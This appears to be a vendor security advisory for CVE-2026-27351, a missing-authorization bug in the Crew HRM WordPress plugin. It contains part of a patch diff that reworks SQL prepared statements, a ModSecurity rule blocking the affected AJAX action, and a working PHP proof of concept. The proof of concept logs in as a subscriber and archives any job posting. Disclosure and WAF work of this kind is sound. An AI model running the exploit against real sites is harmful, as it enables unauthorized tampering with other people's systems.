+			$where_args[]  = $args['department_id'];
 		}

 		// Employment status filter
 		if ( ! empty( $args['employment_status'] ) ) {
-			$where_clause .= $wpdb->prepare( ' AND _employment.employment_status=%s', $args['employment_status'] );
+			$where_clause .= ' AND _employment.employment_status=%s';
+			$where_args[]  = $args['employment_status'];
 		}

+		$user_query_args = array_merge(
+			array(
+				self::META_KEY_CREW_FLAG,
+				self::ROLE_EMPLOYEE,
+			),
+			$where_args,
+			array(
+				$limit,
+				$offset,
+			)
+		);
+
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$users = $wpdb->get_results(
-			$wpdb->prepare(
-				"SELECT
-					_user.ID AS user_id,
-					_user.display_name,
-					_user.user_email,
-					_employment.employment_id,
-					_employment.designation,
-					_employment.employment_status,
-					_employment.department_id,
-					_employment.employment_type,
-					_employment.hire_date,
-					_employment.reporting_person_user_id
-				FROM
-					{$wpdb->users} _user
-					INNER JOIN {$wpdb->usermeta} _meta ON _user.ID=_meta.user_id AND _meta.meta_key=%s AND _meta.meta_value=%s
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+			"SELECT
+				_user.ID AS user_id,
+				_user.display_name,
+				_user.user_email,
+				_employment.employment_id,
+				_employment.designation,
+				_employment.employment_status,
+				_employment.department_id,
+				_employment.employment_type,
+				_employment.hire_date,
+				_employment.reporting_person_user_id
+			FROM
+				{$wpdb->users} _user
+				INNER JOIN {$wpdb->usermeta} _meta ON _user.ID=_meta.user_id AND _meta.meta_key=%s AND _meta.meta_value=%s
 					INNER JOIN {$wpdb->crewhrm_employments} _employment ON _employment.employee_user_id COLLATE $wp_collate=_user.ID
 				WHERE
 					1=1
-					{$where_clause}
-				ORDER BY
-					_employment.employment_id DESC
-				LIMIT
-					%d
-				OFFSET
-					%d",
-				self::META_KEY_CREW_FLAG,
-				self::ROLE_EMPLOYEE,
-				$limit,
-				$offset
+					{$where_clause}
+			ORDER BY
+				_employment.employment_id DESC
+			LIMIT
+				%d
+			OFFSET
+				%d",
+				...$user_query_args
 			),
 			ARRAY_A
 		);

+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$users = _Array::castRecursive( $users );

+		$count_query_args = array_merge(
+			array(
+				self::META_KEY_CREW_FLAG,
+				self::ROLE_EMPLOYEE,
+			),
+			$where_args
+		);
+
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$total_count = (int) $wpdb->get_var(
-			$wpdb->prepare(
-				"SELECT
-					COUNT(_user.ID)
-				FROM
-					{$wpdb->users} _user
-					INNER JOIN {$wpdb->usermeta} _meta ON _user.ID=_meta.user_id AND _meta.meta_key=%s AND _meta.meta_value=%s
+			$wpdb->prepare( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
+			"SELECT
+				COUNT(_user.ID)
+			FROM
+				{$wpdb->users} _user
+				INNER JOIN {$wpdb->usermeta} _meta ON _user.ID=_meta.user_id AND _meta.meta_key=%s AND _meta.meta_value=%s
 					LEFT JOIN {$wpdb->crewhrm_employments} _employment ON _employment.employee_user_id COLLATE $wp_collate=_user.ID
-				WHERE
-					1=1
-					{$where_clause}",
-				self::META_KEY_CREW_FLAG,
-				self::ROLE_EMPLOYEE
+			WHERE
+				1=1
+					{$where_clause}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				...$count_query_args
 			)
 		);

+		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
 		$page_count = ceil( $total_count / $limit );

 		// Loop through users and assign meta data
--- a/hr-management/classes/Models/WeeklySchedule.php
+++ b/hr-management/classes/Models/WeeklySchedule.php
@@ -7,6 +7,11 @@

 namespace CrewHRMModels;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+
 use CrewHRMHelpers_String;

 class WeeklySchedule {
@@ -82,17 +87,23 @@
 		}

 		// If user ID not passed, it means it is global settings
-		$where_clause = $employment_id === null ? ' employment_id IS NULL' : $wpdb->prepare( ' employment_id=%d', $employment_id );
+		$where_clause = $employment_id === null ? ' employment_id IS NULL' : ' employment_id=%d';
+		$args         = $employment_id === null ? array() : array( $employment_id );

 		// Delete all slots except remaings
 		if ( ! empty( $remaining_ids ) ) {
 			$remaining_ids = array_values( $remaining_ids );
 			$ids_places    = _String::getPlaceHolders( $remaining_ids );
-			$where_clause .= $wpdb->prepare( " AND schedule_id NOT IN ({$ids_places})", ...$remaining_ids );
+			$where_clause .= ' AND schedule_id NOT IN (' . $ids_places . ')';
+			$args          = array_merge( $args, $remaining_ids );
 		}

 		$wpdb->query(
-			"DELETE FROM {$wpdb->crewhrm_weekly

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27351
# Blocks unauthorized job archive/unarchive attempts via AJAX by non-admin users
# This rule surgically matches the AJAX action 'crewhrm_single_job_action' with a 'task' of 'archive' or 'unarchive'
# It does NOT block legitimate admin requests because we require the specific action name and task parameter values
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-27351 - Crew HRM Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-27351'"
  SecRule ARGS_POST:action "@streq crewhrm_single_job_action" "chain"
    SecRule ARGS_POST:task "@rx ^(archive|unarchive)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27351 - Employee, Leave and Recruitment Management System – Crew HRM <= 1.2.2 - Missing Authorization

// Proof of concept demonstrating that a subscriber can archive any job via AJAX

// Configuration
$target_url = 'http://example.com';     // Change to the WordPress site URL
$subscriber_username = 'attacker';      // Subscriber-level account
$subscriber_password = 'password123';
$job_id_to_archive = 1;                 // Job ID to attack (find via /wp-json/ or by browsing)

echo "[+] Atomic Edge PoC: CVE-2026-27351n";
echo "[+] Target: $target_urlnn";

// Step 1: Authenticate as subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $subscriber_username,
    'pwd' => $subscriber_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the nonce (if required by the AJAX handler; some versions might use a nonce)
// We'll attempt without nonce first, as the vulnerability is missing capability check.

// Step 3: Perform the attack - archive a job
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$attack_data = array(
    'action' => 'crewhrm_single_job_action',  // The AJAX hook for single job actions
    'task' => 'archive',                       // Action to perform (archive/unarchive/delete)
    'job_id' => $job_id_to_archive,            // Target job ID
    'security' => 'any_value'                  // Nonce (may be validated or ignored)
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($attack_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response:n$responsen";

// Clean up
unlink('/tmp/cookies_cve.txt');

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] EXPLOIT SUCCESS: Job $job_id_to_archive has been archived by a subscriber!n";
} else {
    echo "[-] Exploit may have failed (the site might have additional protections or the plugin version is patched).n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School